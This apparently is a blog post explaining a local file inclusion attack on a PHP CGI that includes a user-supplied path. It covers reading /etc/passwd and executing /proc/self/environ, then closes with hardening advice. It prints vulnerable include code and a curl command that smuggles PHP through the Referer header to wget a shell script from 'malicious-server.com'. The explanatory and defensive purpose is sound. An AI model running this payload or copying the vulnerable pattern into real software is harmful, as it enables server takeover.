There are many ways to exploit a web server and gain access to the file system – read or write (sometimes both). This becomes even easier when one hosts CGIs or other dynamic code – especially when that code includes user based inputs. Recently, I found one of the most elegant exploits that I have seen for this kind of an attack vector, so I wanted to go over it and share some information about how it works and what exactly it exploits.
To setup the background for this scenario, imagine a web server (ex: ‘www.example.com’) setup with userdirs, which allows CGI execution – not an uncommon situation at all. This means that ‘user1’ will have a directory like ‘public_html’, which will become directly accessible at: ‘http://www.example.com/~user1/’. For example, creating a ‘blah’ folder in ‘/home/user1/public_html’, will create ‘http://www.example.com/~user1/blah’ on the web.
At some point, ‘user1’ creates a file called ‘x.cgi’, which simply has a GET parameter called ‘file’, and if that parameter is a file that exists, it loads it via an include. Otherwise, it loads a default.html file. Let’s assume that ‘x.cgi’ is a PHP file which looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/usr/bin/php // x.cgi file - used as a "pre-processor" for loading HTML files $file = $_REQUEST['f']; if (file_exists($file) ) { include($file); } else { include('default.html'); } ?> |
The first thing that stands out is that anyone can now read anything in that directory. More generally, anything anywhere on the system that’s accessible by the user running the web process. Everything from ‘http://wwww.example.com/user1/x.cgi?file=file:///home/user1/public_html/x.cgi’ to ‘http://wwww.example.com/user1/x.cgi?file=file:///etc/passwd’ for example.
Now what would happen if you load a very specific and special file: ‘/proc/self/environ’
There are two very key parts here:
1.) You are loading a bunch of environment variables
2.) You are not just opening/reading the file and writing the output. You are actually loading AND evaluating the file.
The significant parts in #1 are specifically the ‘USER-AGENT’ and ‘REFERER’ variables. Normally, the ‘USER-AGENT’ has something like ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)’ and the ‘REFERER’ has your previous URL location, unless you came from a new windows/tab, in which case it shows ‘-‘. The gotcha is that BOTH can be set by the user/client with custom values.
The significant part in #2 is that you are not merely displaying the output. You are actually loading AND executing it.
The scary part is the combination of the two – essentially, you can set ‘USER-AGENT’ or ‘REFERER’ to some code, and then load and execute it.
Now imagine doing something like this:
1 2 3 |
curl http://www.example.com/user1/x.cgi?file=/proc/self/environ --referer "echo \"<?php system('wget -O /home/user1/public_html/shell.cgi http://malicious-server.com/shell.cgi'); ?> | php\"" |
Add another call that instead of wget just chmod’s the script, and now you have a remote shell/file transfer mechanism.
Without having explicit Write, by being able to Read something that Executes – and specifically executes to the system, simply by using TWO different READs and an Include, you have achieved a WRITE.
What makes this unique and elegant is the skillfulness with which it exploits two extremely benign problems in order to create a massive problem.
Some general things to take away from this:
1.) You should not enable or use the same directory/section for static + dynamic code – especially when it comes to CGIs. NOTE: This is VERY different from just having PHP files with mod_php in the same directory as HTML. The example above is PHP, but the bigger problem is that it’s a general CGI specifically. The code could have been written in any language. The PHP part is not what is being abused here. It’s the CGI. If it was Perl, all the calls would have been perl based.
2.) You should never mix INCLUDES with dynamic code – specifically, anything that allows user input. This is just a terrible idea.
3.) You should run something like mod_XYZ to allow “CGIs”, versus just allowing arbitrary code to run — this was purely possible because there wasn’t a mod_php (or mod_perl, etc…).
4.) You should disable access to anything outside of /home/*/public_html — this is usually taken care of by using a specific MOD.
Post Navigation